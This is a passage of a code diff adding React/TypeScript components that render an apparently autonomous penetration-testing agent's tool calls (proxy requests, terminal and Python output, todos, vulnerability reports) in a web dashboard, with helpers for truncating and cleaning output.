) : <div className="mt-1 text-[#555] text-xs">No notes</div>}
</div>
);
}
return <span className="text-amber-400/80 font-semibold text-sm">note</span>;
}
@@ -0,0 +1,250 @@
"use client";
import type { ToolRendererProps } from "@/types/events";
import { CodeBlock } from "./ToolCard";
const MAX_LINE_LENGTH = 200;
const METHOD_COLORS: Record<string, string> = {
GET: "text-emerald-400/80", POST: "text-blue-400/80", PUT: "text-yellow-400/80",
PATCH: "text-orange-400/80", DELETE: "text-red-400/80",
};
function statusColor(code: number): string {
if (code < 300) return "text-emerald-400/80";
if (code < 400) return "text-yellow-400/80";
if (code < 500) return "text-orange-400/80";
return "text-red-400/80";
}
/** Hard truncate with trailing "..." */
function trunc(text: string, maxLen = 80): string {
return text.length > maxLen ? text.slice(0, maxLen - 3) + "..." : text;
}
/** Replace newlines/tabs, then truncate */
function sanitize(text: string, maxLen = 150): string {
return trunc(text.replace(/\n/g, " ").replace(/\r/g, "").replace(/\t/g, " "), maxLen);
}
/** Limit body to maxLines, each truncated to MAX_LINE_LENGTH-5; returns display string */
function limitBody(body: string, maxLines: number): string {
const lines = body.split("\n");
const display = lines.slice(0, maxLines).map(l => trunc(l, MAX_LINE_LENGTH - 5)).join("\n");
return lines.length > maxLines ? display + "\n..." : display;
}
function ListRequests({ args, result }: ToolRendererProps) {
const filter = (args.httpql_filter as string) ?? "";
const res = result as Record<string, unknown> | null;
const rawReqs = res ? res.requests : null;
const requests = Array.isArray(rawReqs) ? rawReqs as Array<Record<string, unknown>> : [];
return (
<div>
<div className="flex items-center gap-2">
<span className="text-purple-400/80 font-semibold text-sm">listing requests</span>
{filter && <span className="text-[#888] text-[13px]">{trunc(filter, 150)}</span>}
</div>
{requests.length > 0 && (
<div className="mt-1.5 font-mono text-[13px] space-y-0.5">
{requests.slice(0, 20).map((r, i) => {
const m = ((r.method as string) ?? "GET").toUpperCase();
const host = (r.host as string) ?? "";
const path = (r.path as string) ?? "";
const resp = r.response as Record<string, unknown> | undefined;
const sc = (resp?.statusCode as number) ?? null;
return (
<div key={i} className="flex gap-2">
<span className={`w-10 shrink-0 font-bold ${METHOD_COLORS[m] ?? "text-[#888]"}`}>{m}</span>
<span className="text-[#777] truncate">{trunc(host + path, 180)}</span>
{sc != null && <span className={`ml-auto shrink-0 ${statusColor(sc)}`}>{sc}</span>}
</div>
);
})}
{requests.length > 20 && <div className="text-[#555]">... +{requests.length - 20} more</div>}
</div>
)}
</div>
);
}
function ViewRequest({ args, result }: ToolRendererProps) {
const requestId = args.request_id as number | undefined;
const part = (args.part as string) ?? "request";
const searchPattern = (args.search_pattern as string) ?? "";
const res = result as Record<string, unknown> | null;
const rawMatches = res ? res.matches : null;
const matches = Array.isArray(rawMatches) ? rawMatches as Array<Record<string, string>> : [];
const content = res ? (res.content as string) ?? null : null;
const hasMore = res ? !!(res.has_more) : false;
return (
<div>
<div className="flex items-center gap-2">
<span className="text-purple-400/80 font-semibold text-sm">{searchPattern ? "searching" : "viewing"} {part}</span>
{requestId != null && <span className="text-[#888] text-[13px]">#{requestId}</span>}
{searchPattern && <span className="text-[#666] font-mono text-[13px]">/{trunc(searchPattern, 100)}/</span>}
</div>
{matches.length > 0 && (
<div className="mt-1.5 font-mono text-[13px] space-y-1">
{matches.slice(0, 5).map((m, i) => {
// Sanitize context: replace newlines with space, trim to 100 chars
const before = ((m.before ?? "").replace(/\n/g, " ").replace(/\r/g, "")).slice(-100);
const after = ((m.after ?? "").replace(/\n/g, " ").replace(/\r/g, "")).slice(0, 100);
return (
<div key={i}>
{before && <span className="text-[#555]">...{before}</span>}
<span className="text-amber-400/80 font-bold">{m.match}</span>
{after && <span className="text-[#555]">{after}...</span>}
</div>
);
})}
{matches.length > 5 && <div className="text-[#555]">... +{matches.length - 5} more matches</div>}
</div>
)}
{content && !matches.length && (() => {
const lines = content.split("\n");
const display = lines.slice(0, 15).map(l => trunc(l, MAX_LINE_LENGTH)).join("\n");
const showMore = hasMore || lines.length > 15;
return (
<CodeBlock className="text-[#666]">
{display + (showMore ? "\n... more content available" : "")}
</CodeBlock>
);
})()}
</div>
);
}
function SendRequest({ args, result }: ToolRendererProps) {
const method = ((args.method as string) ?? "GET").toUpperCase();
const url = (args.url as string) ?? "";
const headers = args.headers as Record<string, string> | undefined;
const rawBody = args.body;
const reqBody = typeof rawBody === "string" ? rawBody : "";
const res = result as Record<string, unknown> | null;
const error = res ? (res.error as string) ?? null : null;
const statusCode = res ? (res.status_code as number) ?? null : null;
const responseTime = res ? (res.response_time_ms as number) ?? null : null;
const rawResBody = res ? res.body : null;
const resBody = typeof rawResBody === "string" ? rawResBody : null;
return (
<div>
<span className="text-purple-400/80 font-semibold text-sm">request</span>
<div className="mt-1.5 font-mono text-[13px] space-y-0.5">
<div>
<span className="text-[#555] select-none mr-1">&gt;&gt;</span>
<span className={`font-bold ${METHOD_COLORS[method] ?? "text-[#888]"}`}>{method}</span>
<span className="text-[#888] ml-1 break-all">{trunc(url, 180)}</span>
</div>
{headers && typeof headers === "object" && Object.entries(headers).slice(0, 5).map(([k, v]) => (
<div key={k} className="text-[#555] pl-5">{k}: {sanitize(String(v), 150)}</div>
))}
</div>
{reqBody && (
<CodeBlock className="text-[#888]">{limitBody(reqBody, 4)}</CodeBlock>
)}
{error && <div className="text-red-400/70 text-[13px] mt-1.5">{sanitize(error, 150)}</div>}
{statusCode != null && (
<div className="font-mono text-[13px] mt-1.5">
<span className="text-[#555] select-none mr-1">&lt;&lt;</span>
<span className={`font-bold ${statusColor(statusCode)}`}>{statusCode}</span>
{responseTime != null && <span className="text-[#555] ml-2">{responseTime}ms</span>}
</div>
)}
{resBody && (
<CodeBlock className="text-[#666]">{limitBody(resBody, 6)}</CodeBlock>
)}
</div>
);
}
function RepeatRequest({ args, result }: ToolRendererProps) {
const requestId = args.request_id as number | undefined;
const modifications = args.modifications as Record<string, unknown> | undefined;
const res = result as Record<string, unknown> | null;
const statusCode = res ? (res.status_code as number) ?? null : null;
const responseTime = res ? (res.response_time_ms as number) ?? null : null;
const rawRepBody = res ? res.body : null;
const resBody = typeof rawRepBody === "string" ? rawRepBody : null;
return (
<div>
<div className="flex items-center gap-2">
<span className="text-purple-400/80 font-semibold text-sm">repeating request</span>
{requestId != null && <span className="text-[#888] text-[13px]">#{requestId}</span>}
</div>
{modifications && typeof modifications === "object" && Object.keys(modifications).length > 0 && (
<div className="mt-1.5 font-mono text-[13px] space-y-0.5">
{Object.entries(modifications).slice(0, 5).map(([k, v]) => (
<div key={k}><span className="text-orange-400/60">{k}:</span> <span className="text-[#777]">{sanitize(typeof v === "string" ? v : JSON.stringify(v), 150)}</span></div>
))}
</div>
)}
{statusCode != null && (
<div className="font-mono text-[13px] mt-1.5">
<span className="text-[#555] select-none mr-1">&lt;&lt;</span>
<span className={`font-bold ${statusColor(statusCode)}`}>{statusCode}</span>
{responseTime != null && <span className="text-[#555] ml-2">{responseTime}ms</span>}
</div>
)}
{resBody && (
<CodeBlock className="text-[#666]">{limitBody(resBody, 5)}</CodeBlock>
)}
</div>
);
}
const SCOPE_ACTION: Record<string, string> = {
get: "getting", list: "listing", create: "creating", update: "updating", delete: "deleting",
};
function ScopeRules({ args }: ToolRendererProps) {
const action = (args.action as string) ?? "";
const scopeName = (args.scope_name as string) ?? "";
const label = SCOPE_ACTION[action] ?? (action ? action : "managing");
return (
<div className="flex items-center gap-2">
<span className="text-purple-400/80 font-semibold text-sm">{label} proxy scope</span>
{scopeName && <span className="text-[#888] text-[13px]">{trunc(scopeName, 50)}</span>}
</div>
);
}
function ListSitemap({ args }: ToolRendererProps) {
const parentId = args.parent_id as string | undefined;
return (
<div className="flex items-center gap-2">
<span className="text-purple-400/80 font-semibold text-sm">listing sitemap</span>
{parentId && <span className="text-[#888] text-[13px]">under #{trunc(String(parentId), 20)}</span>}
</div>
);
}
function ViewSitemapEntry({ args }: ToolRendererProps) {
const entryId = args.entry_id as string | undefined;
return (
<div className="flex items-center gap-2">
<span className="text-purple-400/80 font-semibold text-sm">viewing sitemap entry</span>
{entryId && <span className="text-[#888] text-[13px]">#{trunc(String(entryId), 20)}</span>}
</div>
);
}
export default function ProxyRenderer(props: ToolRendererProps) {
switch (props.toolName) {
case "list_requests": return <ListRequests {...props} />;
case "view_request": return <ViewRequest {...props} />;
case "send_request": return <SendRequest {...props} />;
case "repeat_request": return <RepeatRequest {...props} />;
case "scope_rules": return <ScopeRules {...props} />;
case "list_sitemap": return <ListSitemap {...props} />;
case "view_sitemap_entry": return <ViewSitemapEntry {...props} />;
default:
return (
<span className="text-purple-400/80 font-semibold text-sm">{props.toolName.replace(/_/g, " ")}</span>
);
}
}
@@ -0,0 +1,68 @@
"use client";
import type { ToolRendererProps } from "@/types/events";
import { CodeBlock, SyntaxBlock } from "./ToolCard";
const MAX_OUTPUT_LINES = 50;
const MAX_LINE_LENGTH = 200;
const HEAD = 25;
const TAIL = 24;
// Full ANSI escape sequence pattern (matches Python's ANSI_PATTERN)
const ANSI_PATTERN = /\x1b(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~]|\][^\x07]*\x07)/g;
// Strips truncation notices added by Python executor
const STRIP_PATTERN = /\.\.\. \[(stdout|stderr|result|output|error) truncated at \d+k? chars\]/g;
function stripAnsi(text: string): string {
return text.replace(ANSI_PATTERN, "");
}
function truncateLine(line: string): string {
const clean = stripAnsi(line);
if (clean.length > MAX_LINE_LENGTH) return clean.slice(0, MAX_LINE_LENGTH - 3) + "...";
return clean;
}
function cleanOutput(output: string): string {
return output.replace(STRIP_PATTERN, "").trim();
}
function formatOutput(output: string): string {
const lines = output.split("\n");
if (lines.length <= MAX_OUTPUT_LINES) return lines.map(truncateLine).join("\n");
const hiddenCount = lines.length - HEAD - TAIL;
return [
...lines.slice(0, HEAD).map(truncateLine),
`... ${hiddenCount} lines truncated ...`,
...lines.slice(-TAIL).map(truncateLine),
].join("\n");
}
export default function PythonRenderer({ args, result }: ToolRendererProps) {
const action = (args.action as string) ?? "";
const code = (args.code as string) ?? (args.script as string) ?? "";
const res = result as Record<string, unknown> | string | null;
let stdout: string | null = null;
if (res && typeof res === "object") stdout = typeof res.stdout === "string" ? res.stdout : null;
else if (typeof res === "string") stdout = res;
const subtitle =
action === "new_session" ? "new session" :
action === "close" ? "close session" :
action === "list_sessions" ? "list sessions" : null;
const output = stdout ? formatOutput(cleanOutput(stdout)) : null;
return (
<div>
<div className="flex items-center gap-2">
<span className="text-yellow-400/80 font-semibold text-sm">Python</span>
{subtitle && <span className="text-[#888] text-[13px]">{subtitle}</span>}
</div>
{code && <SyntaxBlock code={code} language="python" collapsible />}
{output && <CodeBlock className="text-[#666]">{output}</CodeBlock>}
</div>
);
}
@@ -0,0 +1,46 @@
"use client";
import type { ToolRendererProps } from "@/types/events";
import { TruncatedText } from "./ToolCard";
function ScanStartInfo({ args }: ToolRendererProps) {
const rawTargets = args.targets;
const targets = Array.isArray(rawTargets) ? rawTargets : [];
const targetNames = targets.map((t) => (typeof t === "object" && t ? (t.original as string) ?? null : null)).filter(Boolean) as string[];
return (
<div>
<div className="flex items-center gap-2">
<span className="text-emerald-400/80 font-semibold text-sm">Starting penetration test</span>
{targetNames.length === 1 && <span className="text-[#888] text-[13px]">on {targetNames[0]}</span>}
</div>
{targetNames.length > 1 && (
<div className="mt-1.5 space-y-0.5">
{targetNames.map((t, i) => (
<div key={i} className="text-[13px] text-[#888]"><span className="text-[#555] mr-1"></span>{t}</div>
))}
</div>
)}
</div>
);
}
function SubagentStartInfo({ args }: ToolRendererProps) {
const name = (args.name as string) ?? "Unknown Agent";
const task = (args.task as string) ?? "";
return (
<div>
<div className="flex items-center gap-2">
<span className="text-[#888] text-[13px]">subagent</span>
<span className="text-purple-400 font-semibold text-sm">{name}</span>
</div>
{task && <div className="mt-1.5"><TruncatedText text={task} maxLines={15} /></div>}
</div>
);
}
export default function ScanInfoRenderer(props: ToolRendererProps) {
if (props.toolName === "subagent_start_info") return <SubagentStartInfo {...props} />;
return <ScanStartInfo {...props} />;
}
@@ -0,0 +1,131 @@
"use client";
import type { ToolRendererProps } from "@/types/events";
import { CodeBlock, SyntaxBlock } from "./ToolCard";
const MAX_OUTPUT_LINES = 50;
const MAX_LINE_LENGTH = 200;
const HEAD = 25;
const TAIL = 24;
const STRIP_PATTERNS: RegExp[] = [
/\n?\[Command still running after [\d.]+s - showing output so far\.?\s*(?:Use C-c to interrupt if needed\.)?\]/g,
/^\[Below is the output of the previous command\.\]\n?/gm,
/^No command is currently running\. Cannot send input\.$/gm,
/^A command is already running\. Use is_input=true to send input to it, or interrupt it first \(e\.g\., with C-c\)\.$/gm,
];
// Terminal-tool chunk metadata (the OSS engine's shell tool prepends these; the
// TUI strips them in strix/interface/tui/renderers/shell_renderer.py). Only a
// contiguous block anchored on a "Chunk ID:" line is stripped, so identical
// text inside real command output is left untouched.
const CHUNK_PREAMBLE_START = /^Chunk ID: [0-9a-f]+\s*$/;
const CHUNK_PREAMBLE_METADATA: RegExp[] = [
/^Wall time: [\d.]+ seconds\s*$/,
/^Process exited with code -?\d+\s*$/,
/^Process running with session ID \d+\s*$/,
/^Original token count: \d+\s*$/,
];
function stripChunkPreambles(lines: string[]): string[] {
const out: string[] = [];
for (let i = 0; i < lines.length; i++) {
if (CHUNK_PREAMBLE_START.test(lines[i])) {
let j = i + 1;
while (j < lines.length && CHUNK_PREAMBLE_METADATA.some((p) => p.test(lines[j]))) j++;
if (j < lines.length && lines[j].trim() === "Output:") j++;
i = j - 1;
continue;
}
out.push(lines[i]);
}
return out;
}
function escapeRegex(s: string): string {
return s.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
}
function truncateLine(line: string): string {
if (line.length > MAX_LINE_LENGTH) return line.slice(0, MAX_LINE_LENGTH - 3) + "...";
return line;
}
function cleanOutput(raw: string, command: string = ""): string {
// Strip ANSI escape sequences and carriage returns
let cleaned = raw.replace(/\x1b(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~]|\][^\x07]*\x07)/g, "").replace(/\r/g, "");
for (const pattern of STRIP_PATTERNS) {
cleaned = cleaned.replace(pattern, "");
}
if (cleaned.trim()) {
const lines = stripChunkPreambles(cleaned.split("\n"));
const filtered: string[] = [];
for (const line of lines) {
// Skip leading blank lines
if (filtered.length === 0 && !line.trim()) continue;
// Skip [STRIX_N]$ prompt lines
if (/^\[STRIX_\d+\]\$\s*/.test(line)) continue;
// Skip echoed command (plain)
if (command && line.trim() === command.trim()) continue;
// Skip echoed command with $/#/> prefix
if (command && new RegExp(`^[\\$#>]\\s*${escapeRegex(command.trim())}\\s*$`).test(line)) continue;
filtered.push(line);
}
// Strip trailing [STRIX_N]$ lines
while (filtered.length > 0 && /^\[STRIX_\d+\]\$\s*/.test(filtered[filtered.length - 1])) {
filtered.pop();
}
cleaned = filtered.join("\n");
}
return cleaned.trim();
}
function formatOutput(output: string): string {
const lines = output.split("\n");
if (lines.length <= MAX_OUTPUT_LINES) return lines.map(truncateLine).join("\n");
const hiddenCount = lines.length - HEAD - TAIL;
return [
...lines.slice(0, HEAD).map(truncateLine),
`... ${hiddenCount} lines truncated ...`,
...lines.slice(-TAIL).map(truncateLine),
].join("\n");
}
export default function TerminalRenderer({ toolName, args, result }: ToolRendererProps) {
const isStdin = toolName === "write_stdin";
const command = isStdin
? ((args.chars as string) ?? (args.input as string) ?? "")
: ((args.command as string) ?? (args.cmd as string) ?? "");
const res = result as Record<string, unknown> | string | null;
let content: string | null = null;
let error: string | null = null;
let exitCode: number | null = null;
if (res && typeof res === "object") {
content = typeof res.content === "string" ? res.content : null;
error = typeof res.error === "string" ? res.error : null;
exitCode = typeof res.exit_code === "number" ? res.exit_code : null;
const s = typeof res.status === "string" ? res.status : "";
if (s === "running" || s === "command still running") content = null;
} else if (typeof res === "string") {
content = res;
}
const output = content ? formatOutput(cleanOutput(content, command)) : null;
return (
<div>
<span className="text-emerald-400/80 font-semibold text-sm">{isStdin ? "Terminal input" : "Terminal"}</span>
{command && <SyntaxBlock code={command} language="bash" collapsible />}
{error && <CodeBlock className="text-red-400/70">{error}</CodeBlock>}
{output && <CodeBlock className="text-[#666]">{output}</CodeBlock>}
{exitCode != null && exitCode !== 0 && (
<div className="font-mono text-[13px] text-red-400/70 mt-0.5">exit code {exitCode}</div>
)}
</div>
);
}
@@ -0,0 +1,18 @@
"use client";
import type { ToolRendererProps } from "@/types/events";
import { TruncatedText } from "./ToolCard";
export default function ThinkRenderer({ args }: ToolRendererProps) {
const thought = (args.thought as string) ?? (args.content as string) ?? "";
if (!thought) return null;
return (
<div>
<span className="text-purple-400/80 font-semibold text-sm">Agent is thinking</span>
<div className="mt-1.5 italic text-[#888]">
<TruncatedText text={thought} maxLines={20} />
</div>
</div>
);
}
@@ -0,0 +1,120 @@
"use client";
import type { ToolRendererProps } from "@/types/events";
import { Circle, CircleDot, CircleCheckBig, Trash2, Plus, RefreshCw, CheckCheck, RotateCcw, Pencil } from "lucide-react";
interface TodoItem {
id?: string;
title?: string;
status?: string;
}
const ACTION_LABELS: Record<string, { label: string; Icon: typeof Circle }> = {
create_todo: { label: "Task added", Icon: Plus },
list_todos: { label: "Plan", Icon: CheckCheck },
update_todo: { label: "Task updated", Icon: Pencil },
mark_todo_done: { label: "Task completed", Icon: CircleCheckBig },
mark_todo_pending: { label: "Task reopened", Icon: RotateCcw },
delete_todo: { label: "Task removed", Icon: Trash2 },
};
function StatusIcon({ status }: { status: string }) {
if (status === "done") return <CircleCheckBig className="w-3.5 h-3.5 text-emerald-400/70 shrink-0" />;
if (status === "in_progress") return <CircleDot className="w-3.5 h-3.5 text-purple-400/70 shrink-0 animate-pulse" />;
return <Circle className="w-3.5 h-3.5 text-[#444] shrink-0" />;
}
function TodoList({ todos, highlightId }: { todos: TodoItem[]; highlightId?: string }) {
return (
<div className="space-y-0">
{todos.map((todo, i) => {
const s = todo.status ?? "pending";
const isHighlighted = highlightId && todo.id === highlightId;
return (
<div
key={todo.id ?? i}
className={`flex items-start gap-2.5 py-1.5 px-2 -mx-2 rounded-md transition-colors ${
isHighlighted ? "bg-purple-500/[0.08]" : ""
}`}
>
<div className="mt-[1px]">
<StatusIcon status={s} />
</div>
<span
className={`text-[13px] leading-snug ${
s === "done"
? "text-[#555] line-through"
: s === "in_progress"
? "text-[#bbb]"
: "text-[#999]"
}`}
>
{todo.title ?? "(untitled)"}
</span>
</div>
);
})}
</div>
);
}
export default function TodoRenderer({ toolName, args, result }: ToolRendererProps) {
const action = ACTION_LABELS[toolName] ?? { label: "Plan", Icon: RefreshCw };
const ActionIcon = action.Icon;
const res = result as Record<string, unknown> | string | null;
// Simple string result
if (typeof res === "string" && res.trim()) {
return (
<div>
<div className="flex items-center gap-2">
<ActionIcon className="w-3.5 h-3.5 text-purple-400/60" />
<span className="text-purple-400/80 font-semibold text-sm">{action.label}</span>
</div>
<div className="mt-1.5 text-[#888] text-[13px]">{res.trim()}</div>
</div>
);
}
// Parse structured result
let todos: TodoItem[] = [];
let error: string | null = null;
let todoId: string | undefined;
if (res && typeof res === "object") {
error = (res.error as string) ?? null;
if (res.success) {
const rawTodos = res.todos;
todos = Array.isArray(rawTodos) ? (rawTodos as TodoItem[]) : [];
}
todoId = (res.id as string) ?? (args.todo_id as string) ?? undefined;
}
// For mutations, highlight the affected item
const highlightId = toolName !== "list_todos" ? todoId : undefined;
// No todos and no error — brief label only
if (todos.length === 0 && !error) {
return (
<div className="flex items-center gap-2">
<ActionIcon className="w-3.5 h-3.5 text-purple-400/60" />
<span className="text-purple-400/80 font-semibold text-sm">{action.label}</span>
</div>
);
}
return (
<div>
<div className="flex items-center gap-2 mb-2">
<ActionIcon className="w-3.5 h-3.5 text-purple-400/60" />
<span className="text-purple-400/80 font-semibold text-sm">{action.label}</span>
</div>
{error && <div className="text-red-400/70 text-[13px] mb-2">{error}</div>}
{todos.length > 0 && (
<div className="rounded-lg border border-white/[0.06] bg-white/[0.015] px-3 py-2">
<TodoList todos={todos} highlightId={highlightId} />
</div>
)}
</div>
);
}
@@ -0,0 +1,100 @@
"use client";
import { useState } from "react";
import Markdown from "./Markdown";
import hljs from "@/lib/hljs";
import "highlight.js/styles/github-dark.css";
const OUTPUT_PREVIEW_LINES = 6;
const CODE_PREVIEW_LINES = 20;
/** Truncatable markdown text with "Show more" */
export function TruncatedText({ text, maxLines = 20 }: { text: string; maxLines?: number }) {
const [expanded, setExpanded] = useState(false);
const lines = text.trimEnd().split("\n");
const needsTruncation = lines.length > maxLines;
return (
<div>
<div
className={expanded && needsTruncation ? "max-h-[1200px] overflow-auto" : ""}
style={!expanded && needsTruncation ? { display: "-webkit-box", WebkitLineClamp: maxLines, WebkitBoxOrient: "vertical", overflow: "hidden" } : undefined}
>
<Markdown text={text} />
</div>
{needsTruncation && (
<button onClick={() => setExpanded(!expanded)} className="text-xs text-[#555] hover:text-[#888] mt-1">
{expanded ? "Show less" : "Show more"}
</button>
)}
</div>
);
}
/** Code/output block — truncates to 12 lines with "Show more", expanded view scrolls */
export function CodeBlock({ children, className = "" }: { children: React.ReactNode; className?: string }) {
const [expanded, setExpanded] = useState(false);
const isString = typeof children === "string";
const lines = isString ? (children as string).trimEnd().split("\n") : null;
const needsTruncation = lines !== null && lines.length > OUTPUT_PREVIEW_LINES;
const displayContent = needsTruncation && !expanded
? lines!.slice(0, OUTPUT_PREVIEW_LINES).join("\n")
: children;
return (
<div>
<pre className={`font-mono text-[13px] leading-relaxed whitespace-pre-wrap break-words mt-1 ${
expanded ? "overflow-auto max-h-[1200px]" : "overflow-hidden"
} ${className}`}>
{displayContent}
</pre>
{needsTruncation && (
<button
onClick={() => setExpanded(!expanded)}
className="text-xs text-[#555] hover:text-[#888] mt-0.5"
>
{expanded ? "Show less" : "Show more"}
</button>
)}
</div>
);
}
/** Syntax-highlighted code block no border, no line numbers, just highlighting.
* Pass `collapsible` to get a "Show more" toggle instead of a scroll cap. */
export function SyntaxBlock({ code, language, className = "", collapsible = false }: { code: string; language?: string; className?: string; collapsible?: boolean }) {
const [expanded, setExpanded] = useState(false);
const lines = code.trimEnd().split("\n");
const needsTruncation = collapsible && lines.length > CODE_PREVIEW_LINES;
const displayCode = needsTruncation && !expanded
? lines.slice(0, CODE_PREVIEW_LINES).join("\n")
: code;
let highlighted: string;
try {
highlighted = language
? hljs.highlight(displayCode, { language, ignoreIllegals: true }).value
: hljs.highlightAuto(displayCode).value;
} catch {
highlighted = hljs.highlightAuto(displayCode).value;
}
return (
<div>
<pre className={`font-mono text-[12px] leading-relaxed px-0 py-1 mt-1 whitespace-pre-wrap break-all ${
collapsible
? expanded ? "overflow-auto max-h-[1200px]" : "overflow-hidden"
: "overflow-auto max-h-[400px]"
} ${className}`}>
<code dangerouslySetInnerHTML={{ __html: highlighted }} />
</pre>
{needsTruncation && (
<button onClick={() => setExpanded(!expanded)} className="text-xs text-[#555] hover:text-[#888] mt-0.5">
{expanded ? "Show less" : "Show more"}
</button>
)}
</div>
);
}
@@ -0,0 +1,30 @@
"use client";
import type { ToolRendererProps } from "@/types/events";
import { shortPath } from "./utils";
/** Mirrors the OSS TUI `ViewImageRenderer`: surfaces load errors, otherwise a
* compact "view image <path>" line. */
export default function ViewImageRenderer({ args, result }: ToolRendererProps) {
const path = ((args.path as string) ?? "").trim();
const res = result as Record<string, unknown> | string | null;
let error: string | null = null;
if (typeof res === "string") {
const trimmed = res.trim();
// A string result that isn't an image payload or structured data is an error message
if (trimmed && !trimmed.toLowerCase().startsWith("data:image/") && !trimmed.startsWith("{")) {
error = trimmed;
}
}
return (
<div>
<div className="flex items-baseline gap-2">
<span className="text-sky-400/80 font-semibold text-sm shrink-0">view image</span>
{path && <span className="text-[#888] font-mono text-[13px] break-all">{shortPath(path)}</span>}
</div>
{error && <div className="text-red-400/70 text-[13px] mt-1">{error}</div>}
</div>
);
}
@@ -0,0 +1,73 @@
"use client";
import type { ToolRendererProps } from "@/types/events";
import { TruncatedText } from "./ToolCard";
import { MdCodeBlock } from "@/components/vulnerability/MdCodeBlock";
import Markdown from "./Markdown";
const SEVERITY_COLORS: Record<string, string> = {
critical: "text-red-400", high: "text-orange-400", medium: "text-yellow-400",
low: "text-blue-400", info: "text-cyan-400",
};
export default function VulnReportRenderer({ args, result }: ToolRendererProps) {
const title = (args.title as string) ?? "";
const description = (args.description as string) ?? "";
const impact = (args.impact as string) ?? "";
const target = (args.target as string) ?? "";
const endpoint = (args.endpoint as string) ?? "";
const method = (args.method as string) ?? "";
const technicalAnalysis = (args.technical_analysis as string) ?? "";
const pocDescription = (args.poc_description as string) ?? "";
const pocCode = (args.poc_script_code as string) ?? "";
const remediation = (args.remediation_steps as string) ?? "";
const cve = (args.cve as string) ?? "";
const cwe = (args.cwe as string) ?? "";
const res = result as Record<string, unknown> | null;
const rawSev = (res && typeof res === "object" ? res.severity : null) ?? args.severity ?? "medium";
const severity = String(rawSev).toLowerCase();
const cvss = (res && typeof res === "object" ? (res.cvss_score as number) : null) ?? (args.cvss as number) ?? null;
const sevColor = SEVERITY_COLORS[severity] ?? "text-yellow-400";
return (
<div className="space-y-3">
<div className="flex items-center gap-2 flex-wrap">
<span className={`font-semibold text-sm ${sevColor}`}>{severity.toUpperCase()}</span>
{cvss != null && <span className="text-[#888] text-[13px]">CVSS {cvss}</span>}
{cve && <span className="text-[#888] font-mono text-[13px]">{cve}</span>}
{cwe && <span className="text-[#888] font-mono text-[13px]">{cwe}</span>}
</div>
{title && <div className="text-[15px] text-white/80 font-semibold">{title}</div>}
{(target || endpoint) && (
<div className="text-[13px] text-[#888] font-mono">{target}{endpoint ? ` ${method} ${endpoint}` : ""}</div>
)}
{description && <TruncatedText text={description} maxLines={20} />}
{impact && (
<div>
<span className="text-emerald-400/60 text-sm font-semibold">Impact</span>
<div className="mt-1"><TruncatedText text={impact} maxLines={15} /></div>
</div>
)}
{technicalAnalysis && (
<div>
<span className="text-emerald-400/60 text-sm font-semibold">Technical Analysis</span>
<div className="mt-1"><TruncatedText text={technicalAnalysis} maxLines={20} /></div>
</div>
)}
{(pocDescription || pocCode) && (
<div>
<span className="text-emerald-400/60 text-sm font-semibold">Proof of Concept</span>
{pocDescription && <div className="mt-1"><Markdown text={pocDescription} /></div>}
{pocCode && <MdCodeBlock>{pocCode}</MdCodeBlock>}
</div>
)}
{remediation && (
<div>
<span className="text-emerald-400/60 text-sm font-semibold">Remediation</span>
<div className="mt-1"><TruncatedText text={remediation} maxLines={15} /></div>
</div>
)}
</div>
);
}
@@ -0,0 +1,24 @@
"use client";
import type { ToolRendererProps } from "@/types/events";
import { TruncatedText } from "./ToolCard";
export default function WebSearchRenderer({ args, result }: ToolRendererProps) {
const query = (args.query as string) ?? (args.search_query as string) ?? "";
const res = result as Record<string, unknown> | null;
const content = res ? (res.content as string) ?? null : null;
const error = res && !res.success ? (res.message as string) ?? null : null;
return (
<div>
<span className="text-amber-400/80 font-semibold text-sm">Searching the web</span>
{query && <div className="text-[#888] text-[13px] mt-0.5">{query}</div>}
{error && <div className="text-red-400/70 text-[13px] mt-1.5">{error}</div>}
{content && (
<div className="mt-2">
<TruncatedText text={content} maxLines={15} />
</div>
)}
</div>
);
}
@@ -0,0 +1,173 @@
import type { ComponentType } from "react";
import type { ToolRendererProps } from "@/types/events";
import {
Terminal, Globe, FileText, ShieldAlert, ArrowUpRight, Brain,
Bot, MessageCircle, Flag, Eye, Search, Code, StickyNote,
ListTodo, Crosshair, Wrench, Ban, Image,
} from "lucide-react";
import TerminalRenderer from "./TerminalRenderer";
import BrowserRenderer from "./BrowserRenderer";
import FileEditRenderer from "./FileEditRenderer";
import ApplyPatchRenderer from "./ApplyPatchRenderer";
import ViewImageRenderer from "./ViewImageRenderer";
import VulnReportRenderer from "./VulnReportRenderer";
import ProxyRenderer from "./ProxyRenderer";
import ThinkRenderer from "./ThinkRenderer";
import AgentCommsRenderer from "./AgentCommsRenderer";
import WebSearchRenderer from "./WebSearchRenderer";
import PythonRenderer from "./PythonRenderer";
import ScanInfoRenderer from "./ScanInfoRenderer";
import FinishRenderer from "./FinishRenderer";
import NotesRenderer from "./NotesRenderer";
import TodoRenderer from "./TodoRenderer";
import FallbackRenderer from "./FallbackRenderer";
import LoadSkillRenderer from "./LoadSkillRenderer";
/**
* Tool-renderer mapping data-driven, keyed by the engine's tool *family*.
*
* The OSS strix engine (usestrix/strix) is the source of truth for tool names:
* see `strix/tools/**` for definitions and `strix/interface/tui/renderers/` for
* the TUI equivalents of these components. Tools come in families that share a
* React renderer + icon (terminal, proxy, notes, todos, ), so we describe each
* family ONCE instead of repeating a row per tool name. A new tool that joins an
* existing family (e.g. another `*_request` proxy tool) is picked up by the
* family prefix matcher with no code change; only genuinely-new families need an
* entry here.
*/
export type ToolCategory =
| "terminal"
| "python"
| "browser"
| "filesystem"
| "proxy"
| "reporting"
| "thinking"
| "agents"
| "search"
| "lifecycle"
| "notes"
| "skills"
| "todos"
| "telemetry";
export interface ToolIconMeta {
icon: ComponentType<{ className?: string }>;
color: string;
}
interface CategoryMeta {
renderer: ComponentType<ToolRendererProps>;
icon: ComponentType<{ className?: string }>;
color: string;
/** Family matcher for graceful fallback of unknown tools in this family. */
match?: RegExp;
}
/** Per-family defaults: renderer + base icon/color + a family-name matcher. */
const CATEGORY_META: Record<ToolCategory, CategoryMeta> = {
terminal: { renderer: TerminalRenderer, icon: Terminal, color: "text-emerald-400" },
python: { renderer: PythonRenderer, icon: Code, color: "text-yellow-400" },
browser: { renderer: BrowserRenderer, icon: Globe, color: "text-blue-400" },
filesystem: { renderer: FileEditRenderer, icon: FileText, color: "text-sky-400" },
proxy: { renderer: ProxyRenderer, icon: ArrowUpRight, color: "text-purple-400", match: /request|sitemap|scope/ },
